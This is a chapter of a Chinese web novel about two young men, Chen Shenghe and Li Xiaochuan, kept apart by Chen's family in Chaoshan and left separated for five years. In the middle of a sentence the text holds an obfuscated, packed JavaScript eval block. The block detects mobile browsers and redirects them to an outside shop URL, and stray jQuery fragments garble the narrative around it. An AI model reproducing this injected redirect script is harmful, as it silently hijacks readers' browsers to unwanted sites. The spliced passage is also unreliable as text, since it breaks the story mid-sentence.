65.整整五年,再也没见

作品:《川潮

    走廊尽头的时钟显示凌晨三点一刻,秒针每走一格,都像在人的神经上刮一道。


    陈声和靠在消毒水呛人的墙边,耳朵里一会儿是医生急促的指令,一会儿是心电监护仪单调的滴滴声,搅得他太阳穴直跳。


    母亲蜷在蓝色塑料椅上,两只手紧紧攥着,手背上青筋都暴起来,指甲在掌心掐出一个个弯月形的红印子。


    她还穿着昨晚那身家居服,右肩上沾着半片茶渍,是阿爸发病时打翻茶杯溅上的。


    “他是谁?”母亲胸口起伏得厉害,吸气的声音像在喉咙里打了结,“是不是你大学时那个成都同学?那个……唱戏的?”


    陈声和只觉得一盆冰水顺着脊梁骨浇下来,整个人都僵了。


    母亲大二暑假去过一趟成都,也曾翻他手机相册时多看了几眼,现在想来,不是随便看看。


    原来每次视频,她总是绕着弯子问“有没有交朋友”,却从来不直接问“有没有交女朋友”,这些都不是偶然。


    他的喉咙像被什么堵住了,张了张嘴,却发不出一点声音。


    “啪!”


    一记耳光带着风声扇过来的时候,陈声和闻到了母亲手上万金油那清凉的味道。血腥味在嘴里漫开,他感觉两颗后槽牙已经松了。


    走廊转角有个护士探头看了一眼,又赶紧缩了回去。


    “你要逼死你爸吗?!”母亲的声音嘶哑得像破锣,里面全是绝望,“你是陈家独子啊!你要让整个潮汕看我们笑话吗?!”


    陈声和用舌尖顶了顶发麻的脸颊,声音轻得几乎听不见:“妈,我试过了……”墙上消防栓的玻璃映出他狼狈的样子,“我真的试过了。”


    他试过忘记,试过妥协,试过像所有人期望的那样,找个姑娘结婚生子,过正常人的生活……


    可是没有用。


    每一次呼吸,每一次心跳,都在清清楚楚地告诉他……


    他爱李霄川。


    他这辈子,可能就只会爱这一个人了。


    ……


    一直熬到第二天上午快九点半,主治医生总算摘下了口罩。


    说阿爸的情况暂时稳住了,但还得继续观察。


    陈声和坐在病床边上,盯着监测仪上那条一跳一跳的绿线。阿爸脸色灰白,呼吸又重又沉,胸口一起一伏的,像个破风箱。


    “阿和……”父亲突然出声,干裂的嘴唇翕动着。


    陈声和立刻弯腰凑近,闻到老人身上混杂着药味的衰败气息。


    “……听话,”阿爸喘着气,断断续续地说,“要……订婚……”


    陈声和猛地攥紧了床单,布料在他手心里被捏得咯吱响。


    他看见阿爸手背上密密麻麻的针眼,突然想起大三那年,李霄川在练功房被木枪划伤手臂,缝的针也是这样密、这样多。


    “阿爸,”他喉咙发紧,声音是哑的,“我唔能够。”


    这句话像是从肺里硬挤出来的。监测仪立刻尖叫起来,护士们冲进来,把他推了出去。


    在一片混乱的急救声里,他背靠着墙,慢慢地、一点一点地滑坐在地上。口袋里那张拍立得的边角,带着齿痕,正硌着他的大腿。


    照片上还留着他们当年幼稚的咬痕约定。可现在,那些凹凸不平的痕迹,只让他想起潮汕祠堂里,那些被香火熏得发黑的契约木牌。


    他曾经真以为,咬下了那个记号,李霄川就永远不会走。


    可现在才明白,被死死锁住的,只有他自己。


    等到阿爸终于又睡着,窗外的天已经彻底亮了。


    大伯让他先回去歇歇。陈声和像个空壳子一样走出医院大门,被猛然照下来的阳光刺得睁不开眼。


    远处码头传来呜呜的汽笛声,潮湿的海风裹着浓浓的鱼腥味迎面涌来。


    他摸出手机,点开那个一年都没拨过的号码。


    “您拨打的电话是空号……”


    听筒里,机械的女声用标准的普通话,轻飘飘地宣判了结果。


    李霄川连号码都换了。


    原来他们之间,连这种微不足道的联系,也都默契地、同时掐断了。


    他就这么在原地站了不知多久,才机械地挪动脚步。


    海水在不远处一遍遍冲刷着防波堤,浪花把沙滩上的碎贝壳推上来,又无情地卷走。


    陈声和摸出那张拍立得,照片边角已经磨得起毛了。脑海里响起李霄川说过的一句话:成都的府南河,永远不会倒流。


    ……


    成都的一月,空气里已经带上了那种钻进骨头缝的冷。


    张远缩了缩脖子,“嘶”了一声,赶紧把卫衣帽子扣上。他盯着大学后门那个熟悉的蛋烘糕摊,有点出神。一阵风卷着几片落叶,擦过他的球鞋。


    老王头那辆手推车还是老样子,铁皮炉子烧得通红,木招牌上“王记蛋烘糕”几个字,早就被油烟熏得黑黢黢的,边角还磕掉了一块。


    排队的学生换了一批又一批,嘻嘻哈哈的声音在傍晚里显得特别清楚。


    但有个身影,张远已经连续见了一周。每天傍晚六点一刻,分秒不差。


    李霄川站在队伍最后面,187的个子在人群里特别显眼,像棵白杨树似的。他没穿戏服,就套了件黑色连帽衫,袖口都磨得起毛边了,左手腕上还系着戏曲社那条红色平安绳。


    其实是陈声和特地从潮汕给他求来的。


    “还是老样子?双份奶油肉松?”老王头没抬头,在面糊盆里搅得哗啦响,热气蒸腾间瞥了眼这个沉默的熟客。


    李霄川嗯了一声,扫码付款。机器女声冷冰冰地报出“支付宝到账,八元”,这声音混在学生们的谈笑声中,非常突兀。


    张远不自觉地攥紧了手里的牛皮纸信封,边角都被他摸得毛毛的了。


    那里面是陈声和临走前托他转交的信。信封背面还沾着一点机场咖啡厅的焦糖渍,一直没擦掉。


    可他试过好几次,都没送出去。


    第一次,是李霄川在琴房砸东西的时候,木屑飞起来,还划破了他自己的手背;第二次,是他醉倒在戏曲社后台,妆都没卸,就抱着陈声和落下的那条围巾睡着了。


    第三次……就是现在。他看着李霄川站在暮色里,一动不动,像一尊褪了色的雕像。


    这又一年都快过去了,张远自己都要毕业了,这封信还是没送出去。


    不远处,李霄川接过蛋烘糕,没吃,就那么看着。奶油慢慢化开,一滴一滴渗进包装纸里。


    张远注意到他右手虎口上有道新伤,结痂的牙印深深陷在皮肉里,像是自己硬生生咬出来的。


    “川哥。”张远犹豫了半天,还是走了过去,鞋尖一下一下碾着地上的梧桐叶,“戏曲社下周有迎新演出,社长问你能不能……”


    李霄川把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005906|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蛋烘糕直接塞到他手里,塑料包装袋“刺啦”一声响:“你吃。”


    老王头在一旁插话,对着张远说:“这娃儿天天来,昨天那份放到奶油化了都没动。”他指了指旁边的垃圾桶,“可惜了,现做的才酥脆。”


    李霄川转身走了,风把他卫衣帽子吹得鼓起来。他两手揣在兜里,那里面是一沓登机牌。


    全是成都飞潮汕的,日期从陈声和走的那天开始排,一直排到现在,但没有一张是真正用过的。


    他怕自己真去了,会控制不住把陈家祠堂的门槛踏平。那样的话,就真的会把那个广东仔伤透了。


    张远盯着他落寂的背影,喉咙发紧。


    信封在口袋里被汗浸湿了一角,他想起陈声和在机场安检口拽着他袖口说的话,指甲都快掐进他肉里。


    “别给他看信,除非他过得很好。”


    回到学校,张远在宿舍楼下的超市,用那个老式公共电话拨通了一个潮汕的号码。


    听筒里的“嘟嘟”声响了半天,那边才接起来。陈声和的声音传过来,哑得不行,像刚哭过一场。


    “……喂?”


    “信,我没给出去。”张远盯着玻璃上歪歪扭扭的水痕,低声说,“他瘦了好多,戏服穿在身上都晃荡,全是练功弄出来的伤。”


    电话那头传来打火机的咔嚓声,接着是长久的沉默。


    陈声和吸了一口烟,慢慢问:“……他吃蛋烘糕了吗?”


    “买了一个礼拜,一次都没吃。”张远嗓子发干,“就站后门那棵银杏树底下,盯着看,直到里头的奶油全化光。”


    陈声和忽然低低笑起来,笑到后来直咳嗽,像被烟呛着了:“……傻子。”


    也不知道是在说李霄川,还是说他自己。电话那头传来陶瓷轻轻碰撞的声响,像是茶杯被放回托盘。


    其实一开始,张远也不理解陈声和怎么会跟李霄川在一起,甚至心里还有点别扭。


    可后来接触多了,他才发现自己对李霄川偏见太大,慢慢也就改观了。


    他和陈声和关系最铁,也是全宿舍唯一知道他俩在一起的人。


    从陈声和走后,他眼睁睁看着李霄川一天天像丢了魂似的过日子。那种难受,外人根本没法体会。


    但看着朋友这样,张远自己也跟着不好受。


    到现在他是真明白了:感情这事儿,不分男女,处好了是一辈子的福气,处不好……就是一辈子的煎熬。


    第二天上午,张远在戏剧社后台找到李霄川。他正一个人收拾戏服。衣箱敞着,飘出樟脑丸掺着胭脂水粉的味道。


    张远等人都走光了,才磨磨蹭蹭走过去,把一瓶矿泉水放在化妆台边上。


    “……川哥。”他喉咙发紧,手指抠着矿泉水瓶上的标签,“陈声和……让我带句话。”


    李霄川没抬头,手里那件绣金蟒袍折到一半,指关节捏得发白。


    “他说……别等他。”


    衣箱“咔”一声合上了。


    李霄川直起身,嘴角扯了一下,从鼻子里哼出一声短促的冷笑:“他倒是会给自己找台阶下。”


    矿泉水瓶在妆台上凝出一圈水印,慢慢晕开。


    成都双流机场每天都有飞往潮汕的航班,潮汕揭阳机场的大屏幕上,成都的航班信息也从来没消失过。


    但从那之后,整整五年,他们俩再也没见过面。